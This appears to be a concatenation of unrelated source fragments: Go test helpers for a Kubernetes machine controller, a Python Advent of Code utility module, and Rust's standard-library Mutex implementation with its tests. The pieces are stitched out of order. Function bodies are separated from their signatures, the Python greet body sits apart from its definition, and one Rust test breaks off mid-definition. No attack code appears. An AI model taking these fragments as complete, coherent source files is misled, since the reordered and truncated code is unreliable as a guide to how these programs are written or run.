statusTemplate, &metav1.OwnerReference{ APIVersion: t.APIVersion, Kind: t.Kind, Name: machineDeployment.Name, UID: machineDeployment.UID, BlockOwnerDeletion: pointer.BoolPtr(true), Controller: pointer.BoolPtr(true), }, annotations, finalLabels, ) } func newMachineSet( specTemplate *v1alpha1.MachineTemplateSpec, replicas int32, minReadySeconds int32, statusTemplate *v1alpha1.MachineSetStatus, owner *metav1.OwnerReference, annotations map[string]string, labels map[string]string, ) *v1alpha1.MachineSet { return newMachineSets(1, specTemplate, replicas, minReadySeconds, statusTemplate, owner, annotations, labels)[0] } func newMachineSets( machineSetCount int, specTemplate *v1alpha1.MachineTemplateSpec, replicas int32, minReadySeconds int32, statusTemplate *v1alpha1.MachineSetStatus, owner *metav1.OwnerReference, annotations map[string]string, labels map[string]string, ) []*v1alpha1.MachineSet { machineSets := make([]*v1alpha1.MachineSet, machineSetCount) for i := range machineSets { ms := &v1alpha1.MachineSet{ TypeMeta: metav1.TypeMeta{ APIVersion: "machine.sapcloud.io", Kind: "MachineSet", }, ObjectMeta: metav1.ObjectMeta{ Name: fmt.Sprintf("machineset-%d", i), Namespace: testNamespace, Labels: labels, }, Spec: v1alpha1.MachineSetSpec{ MachineClass: *specTemplate.Spec.Class.DeepCopy(), MinReadySeconds: minReadySeconds, Replicas: replicas, Selector: &metav1.LabelSelector{ MatchLabels: deepCopy(specTemplate.ObjectMeta.Labels), }, Template: *specTemplate.DeepCopy(), }, } if statusTemplate != nil { ms.Status = *statusTemplate.DeepCopy() } if owner != nil { ms.OwnerReferences = append(ms.OwnerReferences, *owner.DeepCopy()) } if annotations != nil { ms.Annotations = annotations } machineSets[i] = ms } return machineSets } func deepCopy(m map[string]string) map[string]string { r := make(map[string]string, len(m)) for k := range m { r[k] = m[k] } return r } func newMachineFromMachineSet( machineSet *v1alpha1.MachineSet, statusTemplate *v1alpha1.MachineStatus, annotations map[string]string, labels map[string]string, addFinalizer bool, ) *v1alpha1.Machine { return newMachinesFromMachineSet(1, machineSet, statusTemplate, annotations, labels, addFinalizer)[0] } func newMachinesFromMachineSet( machineCount int, machineSet *v1alpha1.MachineSet, statusTemplate *v1alpha1.MachineStatus, annotations map[string]string, labels map[string]string, addFinalizer bool, ) []*v1alpha1.Machine { t := &machineSet.TypeMeta finalLabels := make(map[string]string, 0) for k, v := range labels { finalLabels[k] = v } for k, v := range machineSet.Spec.Template.Labels { finalLabels[k] = v } return newMachines( machineCount, &machineSet.Spec.Template, statusTemplate, &metav1.OwnerReference{ APIVersion: t.APIVersion, Kind: t.Kind, Name: machineSet.Name, UID: machineSet.UID, BlockOwnerDeletion: boolPtr(true), Controller: boolPtr(true), }, annotations, finalLabels, addFinalizer, metav1.Now(), ) } func newMachine( specTemplate *v1alpha1.MachineTemplateSpec, statusTemplate *v1alpha1.MachineStatus, owner *metav1.OwnerReference, annotations map[string]string, labels map[string]string, addFinalizer bool, creationTimestamp metav1.Time, ) *v1alpha1.Machine { return newMachines(1, specTemplate, statusTemplate, owner, annotations, labels, addFinalizer, creationTimestamp)[0] } func newMachines( machineCount int, specTemplate *v1alpha1.MachineTemplateSpec, statusTemplate *v1alpha1.MachineStatus, owner *metav1.OwnerReference, annotations map[string]string, labels map[string]string, addFinalizer bool, creationTimestamp metav1.Time, ) []*v1alpha1.Machine
func newNode( nodeCount int, nodeSpec *corev1.NodeSpec, nodeStatus *corev1.NodeStatus, ) *corev1.Node { return newNodes(1, nodeSpec, nodeStatus)[0] } func newNodes( nodeCount int, nodeSpec *corev1.NodeSpec, nodeStatus *corev1.NodeStatus, ) []*corev1.Node { nodes := make([]*corev1.Node, nodeCount) for i := range nodes { node := &corev1.Node{ TypeMeta: metav1.TypeMeta{ APIVersion: "v1", Kind: "Node", }, ObjectMeta: metav1.ObjectMeta{ Name: fmt.Sprintf("node-%d", i), }, Spec: *nodeSpec.DeepCopy(), } nodes[i] = node } return nodes } func newObjectMeta(meta *metav1.ObjectMeta, index int) *metav1.ObjectMeta { r := meta.DeepCopy() if r.Name != "" { return r } if r.GenerateName != "" { r.Name = fmt.Sprintf("%s-%d", r.GenerateName, index) return r } r.Name = fmt.Sprintf("machine-%d", index) return r } func newMachineSpec(specTemplate *v1alpha1.MachineSpec, index int) *v1alpha1.MachineSpec { r := specTemplate.DeepCopy() if r.ProviderID == "" { return r } r.ProviderID = fmt.Sprintf("%s-%d", r.ProviderID, index) return r } func newMachineStatus(statusTemplate *v1alpha1.MachineStatus, index int) *v1alpha1.MachineStatus { if statusTemplate == nil { return &v1alpha1.MachineStatus{} } r := statusTemplate.DeepCopy() if r.Node == "" { return r } r.Node = fmt.Sprintf("%s-%d", r.Node, index) return r } func newSecretReference(meta *metav1.ObjectMeta, index int) *corev1.SecretReference { r := &corev1.SecretReference{ Namespace: meta.Namespace, } if meta.Name != "" { r.Name = meta.Name return r } if meta.GenerateName != "" { r.Name = fmt.Sprintf("%s-%d", meta.GenerateName, index) return r } r.Name = fmt.Sprintf("machine-%d", index) return r } func boolPtr(b bool) *bool { return &b } func createController( stop <-chan struct{}, namespace string, controlMachineObjects, controlCoreObjects, targetCoreObjects []runtime.Object, fakedriver driver.Driver, ) (*controller, *customfake.FakeObjectTrackers) { fakeControlMachineClient, controlMachineObjectTracker := customfake.NewMachineClientSet(controlMachineObjects...) fakeTypedMachineClient := &faketyped.FakeMachineV1alpha1{ Fake: &fakeControlMachineClient.Fake, } fakeControlCoreClient, controlCoreObjectTracker := customfake.NewCoreClientSet(controlCoreObjects...) fakeTargetCoreClient, targetCoreObjectTracker := customfake.NewCoreClientSet(targetCoreObjects...) fakeObjectTrackers := customfake.NewFakeObjectTrackers( controlMachineObjectTracker, controlCoreObjectTracker, targetCoreObjectTracker, ) fakeObjectTrackers.Start() coreTargetInformerFactory := coreinformers.NewFilteredSharedInformerFactory( fakeTargetCoreClient, 100*time.Millisecond, namespace, nil, ) defer coreTargetInformerFactory.Start(stop) coreTargetSharedInformers := coreTargetInformerFactory.Core().V1() nodes := coreTargetSharedInformers.Nodes() pvcs := coreTargetSharedInformers.PersistentVolumeClaims() pvs := coreTargetSharedInformers.PersistentVolumes() coreControlInformerFactory := coreinformers.NewFilteredSharedInformerFactory( fakeControlCoreClient, 100*time.Millisecond, namespace, nil, ) defer coreControlInformerFactory.Start(stop) coreControlSharedInformers := coreControlInformerFactory.Core().V1() secrets := coreControlSharedInformers.Secrets() controlMachineInformerFactory := machineinformers.NewFilteredSharedInformerFactory( fakeControlMachineClient, 100*time.Millisecond, namespace, nil, ) defer controlMachineInformerFactory.Start(stop) machineSharedInformers := controlMachineInformerFactory.Machine().V1alpha1() machineClass := machineSharedInformers.MachineClasses() machines := machineSharedInformers.Machines() internalExternalScheme := runtime.NewScheme() Expect(machine_internal.AddToScheme(internalExternalScheme)).To(Succeed()) Expect(v1alpha1.AddToScheme(internalExternalScheme)).To(Succeed()) safetyOptions := options.SafetyOptions{ MachineCreationTimeout: metav1.Duration{Duration: 20 * time.Minute}, MachineHealthTimeout: metav1.Duration{Duration: 10 * time.Minute}, MachineDrainTimeout: metav1.Duration{Duration: 5 * time.Minute}, MachineSafetyOrphanVMsPeriod: metav1.Duration{Duration: 30 * time.Minute}, MachineSafetyAPIServerStatusCheckPeriod: metav1.Duration{Duration: 1 * time.Minute}, MachineSafetyAPIServerStatusCheckTimeout: metav1.Duration{Duration: 30 * time.Second}, MaxEvictRetries: drain.DefaultMaxEvictRetries, } controller := &controller{ namespace: namespace, driver: fakedriver, safetyOptions: safetyOptions, machineClassLister: machineClass.Lister(), machineClassSynced: machineClass.Informer().HasSynced, targetCoreClient: fakeTargetCoreClient, controlCoreClient: fakeControlCoreClient, controlMachineClient: fakeTypedMachineClient, internalExternalScheme: internalExternalScheme, nodeLister: nodes.Lister(), pvcLister: pvcs.Lister(), secretLister: secrets.Lister(), pvLister: pvs.Lister(), machineLister: machines.Lister(), machineSynced: machines.Informer().HasSynced, nodeSynced: nodes.Informer().HasSynced, secretSynced: secrets.Informer().HasSynced, machineClassQueue: workqueue.NewNamedRateLimitingQueue(workqueue.DefaultControllerRateLimiter(), "machineclass"), secretQueue: workqueue.NewNamedRateLimitingQueue(workqueue.DefaultControllerRateLimiter(), "secret"), nodeQueue: workqueue.NewNamedRateLimitingQueue(workqueue.DefaultControllerRateLimiter(), "node"), machineQueue: workqueue.NewNamedRateLimitingQueue(workqueue.DefaultControllerRateLimiter(), "machine"), machineSafetyOrphanVMsQueue: workqueue.NewNamedRateLimitingQueue(workqueue.DefaultControllerRateLimiter(), "machinesafetyorphanvms"), machineSafetyAPIServerQueue: workqueue.NewNamedRateLimitingQueue(workqueue.DefaultControllerRateLimiter(), "machinesafetyapiserver"), recorder: record.NewBroadcaster().NewRecorder(nil, corev1.EventSource{Component: ""}), } // controller.internalExternalScheme = runtime.NewScheme() eventBroadcaster := record.NewBroadcaster() eventBroadcaster.StartLogging(klog.Infof) eventBroadcaster.StartRecordingToSink(&v1core.EventSinkImpl{Interface: v1core.New(fakeControlCoreClient.CoreV1().RESTClient()).Events(namespace)}) return controller, fakeObjectTrackers } func waitForCacheSync(stop <-chan struct{}, controller *controller) { Expect(cache.WaitForCacheSync( stop, controller.machineClassSynced, controller.machineSynced, controller.secretSynced, controller.nodeSynced, )).To(BeTrue()) } var _ = Describe("#createController", func() { objMeta := &metav1.ObjectMeta{ GenerateName: "machine", Namespace: "test", } It("success", func() { machine0 := newMachine(&v1alpha1.MachineTemplateSpec{ ObjectMeta: *objMeta, }, nil, nil, nil, nil, false, metav1.Now()) stop := make(chan struct{}) defer close(stop) c, trackers := createController(stop, objMeta.Namespace, nil, nil, nil, nil) defer trackers.Stop() waitForCacheSync(stop, c) Expect(c).NotTo(BeNil()) allMachineWatch, err := c.controlMachineClient.Machines(objMeta.Namespace).Watch(metav1.ListOptions{}) Expect(err).NotTo(HaveOccurred()) defer allMachineWatch.Stop() machine0Watch, err := c.controlMachineClient.Machines(objMeta.Namespace).Watch(metav1.ListOptions{ FieldSelector: fmt.Sprintf("metadata.name=%s", machine0.Name), }) Expect(err).NotTo(HaveOccurred()) defer machine0Watch.Stop() go func() { _, err := c.controlMachineClient.Machines(objMeta.Namespace).Create(machine0) if err != nil { fmt.Printf("Error creating machine: %s", err) } }() var event watch.Event Eventually(allMachineWatch.ResultChan()).Should(Receive(&event)) Expect(event.Type).To(Equal(watch.Added)) Expect(event.Object).To(Equal(machine0)) Eventually(machine0Watch.ResultChan()).Should(Receive(&event)) Expect(event.Type).To(Equal(watch.Added)) Expect(event.Object).To(Equal(machine0)) }) })
{ machines := make([]*v1alpha1.Machine, machineCount) if annotations == nil { annotations = make(map[string]string, 0) } if labels == nil { labels = make(map[string]string, 0) } for i := range machines { m := &v1alpha1.Machine{ TypeMeta: metav1.TypeMeta{ APIVersion: "machine.sapcloud.io", Kind: "Machine", }, ObjectMeta: metav1.ObjectMeta{ Name: fmt.Sprintf("machine-%d", i), Namespace: testNamespace, Labels: labels, Annotations: annotations, CreationTimestamp: creationTimestamp, DeletionTimestamp: &creationTimestamp, //TODO: Add parametrize this }, Spec: *newMachineSpec(&specTemplate.Spec, i), } finalizers := sets.NewString(m.Finalizers...) if addFinalizer { finalizers.Insert(MCMFinalizerName) } m.Finalizers = finalizers.List() if statusTemplate != nil { m.Status = *newMachineStatus(statusTemplate, i) } if owner != nil { m.OwnerReferences = append(m.OwnerReferences, *owner.DeepCopy()) } machines[i] = m } return machines }
__init__.py
def destructure(obj, *params): import operator return operator.itemgetter(*params)(obj) def greet(**kwargs):
def load_data(filename): with filename.open('r') as handle: return handle.read() def start(fn): import pathlib base_path = pathlib.Path(__file__).parent.parent / 'data' def wrapped(*args, **kwargs): greet(**kwargs) data = load_data(base_path / f'{kwargs["year"]}.{kwargs["day"]}.txt') return fn(data, *args, **kwargs) return wrapped def flatten_json(nested_json): out = {} def flatten(x, name=''): if type(x) is dict: for a in x: flatten(x[a], name + a + '_') elif type(x) is list: for i, a in enumerate(x): flatten(a, name + str(i) + '_') else: out[name[:-1]] = x flatten(nested_json) return out def sparse_matrix(): from collections import defaultdict return defaultdict(lambda: 0)
year, day, puzzle = destructure(kwargs, 'year', 'day', 'puzzle') print('Advent of Code') print(f'-> {year}-{day}-{puzzle}') print('--------------')
mutex.rs
use crate::cell::UnsafeCell; use crate::fmt; use crate::mem; use crate::ops::{Deref, DerefMut}; use crate::ptr; use crate::sys_common::mutex as sys; use crate::sys_common::poison::{self, LockResult, TryLockError, TryLockResult}; /// A mutual exclusion primitive useful for protecting shared data /// /// This mutex will block threads waiting for the lock to become available. The /// mutex can also be statically initialized or created via a [`new`] /// constructor. Each mutex has a type parameter which represents the data that /// it is protecting. The data can only be accessed through the RAII guards /// returned from [`lock`] and [`try_lock`], which guarantees that the data is only /// ever accessed when the mutex is locked. /// /// # Poisoning /// /// The mutexes in this module implement a strategy called "poisoning" where a /// mutex is considered poisoned whenever a thread panics while holding the /// mutex. Once a mutex is poisoned, all other threads are unable to access the /// data by default as it is likely tainted (some invariant is not being /// upheld). /// /// For a mutex, this means that the [`lock`] and [`try_lock`] methods return a /// [`Result`] which indicates whether a mutex has been poisoned or not. Most /// usage of a mutex will simply [`unwrap()`] these results, propagating panics /// among threads to ensure that a possibly invalid invariant is not witnessed. /// /// A poisoned mutex, however, does not prevent all access to the underlying /// data. The [`PoisonError`] type has an [`into_inner`] method which will return /// the guard that would have otherwise been returned on a successful lock. This /// allows access to the data, despite the lock being poisoned. /// /// [`new`]: #method.new /// [`lock`]: #method.lock /// [`try_lock`]: #method.try_lock /// [`Result`]: ../../std/result/enum.Result.html /// [`unwrap()`]: ../../std/result/enum.Result.html#method.unwrap /// [`PoisonError`]: ../../std/sync/struct.PoisonError.html /// [`into_inner`]: ../../std/sync/struct.PoisonError.html#method.into_inner /// /// # Examples /// /// ``` /// use std::sync::{Arc, Mutex}; /// use std::thread; /// use std::sync::mpsc::channel; /// /// const N: usize = 10; /// /// // Spawn a few threads to increment a shared variable (non-atomically), and /// // let the main thread know once all increments are done. /// // /// // Here we're using an Arc to share memory among threads, and the data inside /// // the Arc is protected with a mutex. /// let data = Arc::new(Mutex::new(0)); /// /// let (tx, rx) = channel(); /// for _ in 0..N { /// let (data, tx) = (Arc::clone(&data), tx.clone()); /// thread::spawn(move || { /// // The shared state can only be accessed once the lock is held. /// // Our non-atomic increment is safe because we're the only thread /// // which can access the shared state when the lock is held. /// // /// // We unwrap() the return value to assert that we are not expecting /// // threads to ever fail while holding the lock. /// let mut data = data.lock().unwrap(); /// *data += 1; /// if *data == N { /// tx.send(()).unwrap(); /// } /// // the lock is unlocked here when `data` goes out of scope. /// }); /// } /// /// rx.recv().unwrap(); /// ``` /// /// To recover from a poisoned mutex: /// /// ``` /// use std::sync::{Arc, Mutex}; /// use std::thread; /// /// let lock = Arc::new(Mutex::new(0_u32)); /// let lock2 = lock.clone(); /// /// let _ = thread::spawn(move || -> () { /// // This thread will acquire the mutex first, unwrapping the result of /// // `lock` because the lock has not been poisoned. /// let _guard = lock2.lock().unwrap(); /// /// // This panic while holding the lock (`_guard` is in scope) will poison /// // the mutex. /// panic!(); /// }).join(); /// /// // The lock is poisoned by this point, but the returned result can be /// // pattern matched on to return the underlying guard on both branches. /// let mut guard = match lock.lock() { /// Ok(guard) => guard, /// Err(poisoned) => poisoned.into_inner(), /// }; /// /// *guard += 1; /// ``` #[stable(feature = "rust1", since = "1.0.0")] #[cfg_attr(not(test), rustc_diagnostic_item = "mutex_type")] pub struct Mutex<T: ?Sized> { // Note that this mutex is in a *box*, not inlined into the struct itself. // Once a native mutex has been used once, its address can never change (it // can't be moved). This mutex type can be safely moved at any time, so to // ensure that the native mutex is used correctly we box the inner mutex to // give it a constant address. inner: Box<sys::Mutex>, poison: poison::Flag, data: UnsafeCell<T>, } // these are the only places where `T: Send` matters; all other // functionality works fine on a single thread. #[stable(feature = "rust1", since = "1.0.0")] unsafe impl<T: ?Sized + Send> Send for Mutex<T> {} #[stable(feature = "rust1", since = "1.0.0")] unsafe impl<T: ?Sized + Send> Sync for Mutex<T> {} /// An RAII implementation of a "scoped lock" of a mutex. When this structure is /// dropped (falls out of scope), the lock will be unlocked. /// /// The data protected by the mutex can be accessed through this guard via its /// [`Deref`] and [`DerefMut`] implementations. /// /// This structure is created by the [`lock`] and [`try_lock`] methods on /// [`Mutex`]. /// /// [`Deref`]: ../../std/ops/trait.Deref.html /// [`DerefMut`]: ../../std/ops/trait.DerefMut.html /// [`lock`]: struct.Mutex.html#method.lock /// [`try_lock`]: struct.Mutex.html#method.try_lock /// [`Mutex`]: struct.Mutex.html #[must_use = "if unused the Mutex will immediately unlock"] #[stable(feature = "rust1", since = "1.0.0")] pub struct MutexGuard<'a, T: ?Sized + 'a> { lock: &'a Mutex<T>, poison: poison::Guard, } #[stable(feature = "rust1", since = "1.0.0")] impl<T: ?Sized> !Send for MutexGuard<'_, T> {} #[stable(feature = "mutexguard", since = "1.19.0")] unsafe impl<T: ?Sized + Sync> Sync for MutexGuard<'_, T> {} impl<T> Mutex<T> { /// Creates a new mutex in an unlocked state ready for use. /// /// # Examples /// /// ``` /// use std::sync::Mutex; /// /// let mutex = Mutex::new(0); /// ``` #[stable(feature = "rust1", since = "1.0.0")] pub fn new(t: T) -> Mutex<T> { let mut m = Mutex { inner: box sys::Mutex::new(), poison: poison::Flag::new(), data: UnsafeCell::new(t), }; unsafe { m.inner.init(); } m } } impl<T: ?Sized> Mutex<T> { /// Acquires a mutex, blocking the current thread until it is able to do so. /// /// This function will block the local thread until it is available to acquire /// the mutex. Upon returning, the thread is the only thread with the lock /// held. An RAII guard is returned to allow scoped unlock of the lock. When /// the guard goes out of scope, the mutex will be unlocked. /// /// The exact behavior on locking a mutex in the thread which already holds /// the lock is left unspecified. However, this function will not return on /// the second call (it might panic or deadlock, for example). /// /// # Errors /// /// If another user of this mutex panicked while holding the mutex, then /// this call will return an error once the mutex is acquired. /// /// # Panics /// /// This function might panic when called if the lock is already held by /// the current thread. /// /// # Examples /// /// ``` /// use std::sync::{Arc, Mutex}; /// use std::thread; /// /// let mutex = Arc::new(Mutex::new(0)); /// let c_mutex = mutex.clone(); /// /// thread::spawn(move || { /// *c_mutex.lock().unwrap() = 10; /// }).join().expect("thread::spawn failed"); /// assert_eq!(*mutex.lock().unwrap(), 10); /// ``` #[stable(feature = "rust1", since = "1.0.0")] pub fn lock(&self) -> LockResult<MutexGuard<'_, T>> { unsafe { self.inner.raw_lock(); MutexGuard::new(self) } } /// Attempts to acquire this lock. /// /// If the lock could not be acquired at this time, then [`Err`] is returned. /// Otherwise, an RAII guard is returned. The lock will be unlocked when the /// guard is dropped. /// /// This function does not block. /// /// # Errors /// /// If another user of this mutex panicked while holding the mutex, then /// this call will return failure if the mutex would otherwise be /// acquired. /// /// [`Err`]: ../../std/result/enum.Result.html#variant.Err /// /// # Examples /// /// ``` /// use std::sync::{Arc, Mutex}; /// use std::thread; /// /// let mutex = Arc::new(Mutex::new(0)); /// let c_mutex = mutex.clone(); /// /// thread::spawn(move || { /// let mut lock = c_mutex.try_lock(); /// if let Ok(ref mut mutex) = lock { /// **mutex = 10; /// } else { /// println!("try_lock failed"); /// } /// }).join().expect("thread::spawn failed"); /// assert_eq!(*mutex.lock().unwrap(), 10); /// ``` #[stable(feature = "rust1", since = "1.0.0")] pub fn try_lock(&self) -> TryLockResult<MutexGuard<'_, T>> { unsafe { if self.inner.try_lock() { Ok(MutexGuard::new(self)?) } else { Err(TryLockError::WouldBlock) } } } /// Determines whether the mutex is poisoned. /// /// If another thread is active, the mutex can still become poisoned at any /// time. You should not trust a `false` value for program correctness /// without additional synchronization. /// /// # Examples /// /// ``` /// use std::sync::{Arc, Mutex}; /// use std::thread; /// /// let mutex = Arc::new(Mutex::new(0)); /// let c_mutex = mutex.clone(); /// /// let _ = thread::spawn(move || { /// let _lock = c_mutex.lock().unwrap(); /// panic!(); // the mutex gets poisoned /// }).join(); /// assert_eq!(mutex.is_poisoned(), true); /// ``` #[inline] #[stable(feature = "sync_poison", since = "1.2.0")] pub fn is_poisoned(&self) -> bool { self.poison.get() } /// Consumes this mutex, returning the underlying data. /// /// # Errors /// /// If another user of this mutex panicked while holding the mutex, then /// this call will return an error instead. /// /// # Examples /// /// ``` /// use std::sync::Mutex; /// /// let mutex = Mutex::new(0); /// assert_eq!(mutex.into_inner().unwrap(), 0); /// ``` #[stable(feature = "mutex_into_inner", since = "1.6.0")] pub fn into_inner(self) -> LockResult<T> where T: Sized, { // We know statically that there are no outstanding references to // `self` so there's no need to lock the inner mutex. // // To get the inner value, we'd like to call `data.into_inner()`, // but because `Mutex` impl-s `Drop`, we can't move out of it, so // we'll have to destructure it manually instead. unsafe { // Like `let Mutex { inner, poison, data } = self`. let (inner, poison, data) = { let Mutex { ref inner, ref poison, ref data } = self; (ptr::read(inner), ptr::read(poison), ptr::read(data)) }; mem::forget(self); inner.destroy(); // Keep in sync with the `Drop` impl. drop(inner); poison::map_result(poison.borrow(), |_| data.into_inner()) } } /// Returns a mutable reference to the underlying data. /// /// Since this call borrows the `Mutex` mutably, no actual locking needs to /// take place -- the mutable borrow statically guarantees no locks exist. /// /// # Errors /// /// If another user of this mutex panicked while holding the mutex, then /// this call will return an error instead. /// /// # Examples /// /// ``` /// use std::sync::Mutex; /// /// let mut mutex = Mutex::new(0); /// *mutex.get_mut().unwrap() = 10; /// assert_eq!(*mutex.lock().unwrap(), 10); /// ``` #[stable(feature = "mutex_get_mut", since = "1.6.0")] pub fn get_mut(&mut self) -> LockResult<&mut T> { // We know statically that there are no other references to `self`, so // there's no need to lock the inner mutex. let data = unsafe { &mut *self.data.get() }; poison::map_result(self.poison.borrow(), |_| data) } } #[stable(feature = "rust1", since = "1.0.0")] unsafe impl<#[may_dangle] T: ?Sized> Drop for Mutex<T> { fn drop(&mut self) { // This is actually safe b/c we know that there is no further usage of // this mutex (it's up to the user to arrange for a mutex to get // dropped, that's not our job) // // IMPORTANT: This code must be kept in sync with `Mutex::into_inner`. unsafe { self.inner.destroy() } } } #[stable(feature = "mutex_from", since = "1.24.0")] impl<T> From<T> for Mutex<T> { /// Creates a new mutex in an unlocked state ready for use. /// This is equivalent to [`Mutex::new`]. /// /// [`Mutex::new`]: ../../std/sync/struct.Mutex.html#method.new fn from(t: T) -> Self { Mutex::new(t) } } #[stable(feature = "mutex_default", since = "1.10.0")] impl<T: ?Sized + Default> Default for Mutex<T> { /// Creates a `Mutex<T>`, with the `Default` value for T. fn default() -> Mutex<T> { Mutex::new(Default::default()) } } #[stable(feature = "rust1", since = "1.0.0")] impl<T: ?Sized + fmt::Debug> fmt::Debug for Mutex<T> { fn fmt(&self, f: &mut fmt::Formatter<'_>) -> fmt::Result { match self.try_lock() { Ok(guard) => f.debug_struct("Mutex").field("data", &&*guard).finish(), Err(TryLockError::Poisoned(err)) => { f.debug_struct("Mutex").field("data", &&**err.get_ref()).finish() } Err(TryLockError::WouldBlock) => { struct LockedPlaceholder; impl fmt::Debug for LockedPlaceholder { fn fmt(&self, f: &mut fmt::Formatter<'_>) -> fmt::Result { f.write_str("<locked>") } } f.debug_struct("Mutex").field("data", &LockedPlaceholder).finish() } } } } impl<'mutex, T: ?Sized> MutexGuard<'mutex, T> { unsafe fn new(lock: &'mutex Mutex<T>) -> LockResult<MutexGuard<'mutex, T>> { poison::map_result(lock.poison.borrow(), |guard| MutexGuard { lock, poison: guard }) } } #[stable(feature = "rust1", since = "1.0.0")] impl<T: ?Sized> Deref for MutexGuard<'_, T> { type Target = T; fn deref(&self) -> &T { unsafe { &*self.lock.data.get() } } } #[stable(feature = "rust1", since = "1.0.0")] impl<T: ?Sized> DerefMut for MutexGuard<'_, T> { fn deref_mut(&mut self) -> &mut T { unsafe { &mut *self.lock.data.get() } } } #[stable(feature = "rust1", since = "1.0.0")] impl<T: ?Sized> Drop for MutexGuard<'_, T> { #[inline] fn drop(&mut self) { unsafe { self.lock.poison.done(&self.poison); self.lock.inner.raw_unlock(); } } } #[stable(feature = "std_debug", since = "1.16.0")] impl<T: ?Sized + fmt::Debug> fmt::Debug for MutexGuard<'_, T> { fn fmt(&self, f: &mut fmt::Formatter<'_>) -> fmt::Result { fmt::Debug::fmt(&**self, f) } } #[stable(feature = "std_guard_impls", since = "1.20.0")] impl<T: ?Sized + fmt::Display> fmt::Display for MutexGuard<'_, T> { fn fmt(&self, f: &mut fmt::Formatter<'_>) -> fmt::Result { (**self).fmt(f) } } pub fn guard_lock<'a, T: ?Sized>(guard: &MutexGuard<'a, T>) -> &'a sys::Mutex { &guard.lock.inner } pub fn guard_poison<'a, T: ?Sized>(guard: &MutexGuard<'a, T>) -> &'a poison::Flag { &guard.lock.poison } #[cfg(all(test, not(target_os = "emscripten")))] mod tests { use crate::sync::atomic::{AtomicUsize, Ordering}; use crate::sync::mpsc::channel; use crate::sync::{Arc, Condvar, Mutex}; use crate::thread; struct Packet<T>(Arc<(Mutex<T>, Condvar)>); #[derive(Eq, PartialEq, Debug)] struct NonCopy(i32); #[test] fn smoke() { let m = Mutex::new(()); drop(m.lock().unwrap()); drop(m.lock().unwrap()); } #[test] fn lots_and_lots() { const J: u32 = 1000; const K: u32 = 3; let m = Arc::new(Mutex::new(0)); fn inc(m: &Mutex<u32>) { for _ in 0..J { *m.lock().unwrap() += 1; } } let (tx, rx) = channel(); for _ in 0..K { let tx2 = tx.clone(); let m2 = m.clone(); thread::spawn(move || { inc(&m2); tx2.send(()).unwrap(); }); let tx2 = tx.clone(); let m2 = m.clone(); thread::spawn(move || { inc(&m2); tx2.send(()).unwrap(); }); } drop(tx); for _ in 0..2 * K { rx.recv().unwrap(); } assert_eq!(*m.lock().unwrap(), J * K * 2); } #[test] fn try_lock() { let m = Mutex::new(()); *m.try_lock().unwrap() = (); } #[test] fn test_into_inner() { let m = Mutex::new(NonCopy(10)); assert_eq!(m.into_inner().unwrap(), NonCopy(10)); } #[test] fn test_into_inner_drop() { struct Foo(Arc<AtomicUsize>); impl Drop for Foo { fn drop(&mut self) { self.0.fetch_add(1, Ordering::SeqCst); } } let num_drops = Arc::new(AtomicUsize::new(0)); let m = Mutex::new(Foo(num_drops.clone())); assert_eq!(num_drops.load(Ordering::SeqCst), 0); { let _inner = m.into_inner().unwrap(); assert_eq!(num_drops.load(Ordering::SeqCst), 0); } assert_eq!(num_drops.load(Ordering::SeqCst), 1); } #[test] fn test_into_inner_poison() { let m = Arc::new(Mutex::new(NonCopy(10))); let m2 = m.clone(); let _ = thread::spawn(move || { let _lock = m2.lock().unwrap(); panic!("test panic in inner thread to poison mutex"); }) .join(); assert!(m.is_poisoned()); match Arc::try_unwrap(m).unwrap().into_inner() { Err(e) => assert_eq!(e.into_inner(), NonCopy(10)), Ok(x) => panic!("into_inner of poisoned Mutex is Ok: {:?}", x), } } #[test] fn test_get_mut() { let mut m = Mutex::new(NonCopy(10)); *m.get_mut().unwrap() = NonCopy(20); assert_eq!(m.into_inner().unwrap(), NonCopy(20)); } #[test] fn test_get_mut_poison()
#[test] fn test_mutex_arc_condvar() { let packet = Packet(Arc::new((Mutex::new(false), Condvar::new()))); let packet2 = Packet(packet.0.clone()); let (tx, rx) = channel(); let _t = thread::spawn(move || { // wait until parent gets in rx.recv().unwrap(); let &(ref lock, ref cvar) = &*packet2.0; let mut lock = lock.lock().unwrap(); *lock = true; cvar.notify_one(); }); let &(ref lock, ref cvar) = &*packet.0; let mut lock = lock.lock().unwrap(); tx.send(()).unwrap(); assert!(!*lock); while !*lock { lock = cvar.wait(lock).unwrap(); } } #[test] fn test_arc_condvar_poison() { let packet = Packet(Arc::new((Mutex::new(1), Condvar::new()))); let packet2 = Packet(packet.0.clone()); let (tx, rx) = channel(); let _t = thread::spawn(move || -> () { rx.recv().unwrap(); let &(ref lock, ref cvar) = &*packet2.0; let _g = lock.lock().unwrap(); cvar.notify_one(); // Parent should fail when it wakes up. panic!(); }); let &(ref lock, ref cvar) = &*packet.0; let mut lock = lock.lock().unwrap(); tx.send(()).unwrap(); while *lock == 1 { match cvar.wait(lock) { Ok(l) => { lock = l; assert_eq!(*lock, 1); } Err(..) => break, } } } #[test] fn test_mutex_arc_poison() { let arc = Arc::new(Mutex::new(1)); assert!(!arc.is_poisoned()); let arc2 = arc.clone(); let _ = thread::spawn(move || { let lock = arc2.lock().unwrap(); assert_eq!(*lock, 2); }) .join(); assert!(arc.lock().is_err()); assert!(arc.is_poisoned()); } #[test] fn test_mutex_arc_nested() { // Tests nested mutexes and access // to underlying data. let arc = Arc::new(Mutex::new(1)); let arc2 = Arc::new(Mutex::new(arc)); let (tx, rx) = channel(); let _t = thread::spawn(move || { let lock = arc2.lock().unwrap(); let lock2 = lock.lock().unwrap(); assert_eq!(*lock2, 1); tx.send(()).unwrap(); }); rx.recv().unwrap(); } #[test] fn test_mutex_arc_access_in_unwind() { let arc = Arc::new(Mutex::new(1)); let arc2 = arc.clone(); let _ = thread::spawn(move || -> () { struct Unwinder { i: Arc<Mutex<i32>>, } impl Drop for Unwinder { fn drop(&mut self) { *self.i.lock().unwrap() += 1; } } let _u = Unwinder { i: arc2 }; panic!(); }) .join(); let lock = arc.lock().unwrap(); assert_eq!(*lock, 2); } #[test] fn test_mutex_unsized() { let mutex: &Mutex<[i32]> = &Mutex::new([1, 2, 3]); { let b = &mut *mutex.lock().unwrap(); b[0] = 4; b[2] = 5; } let comp: &[i32] = &[4, 2, 5]; assert_eq!(&*mutex.lock().unwrap(), comp); } }
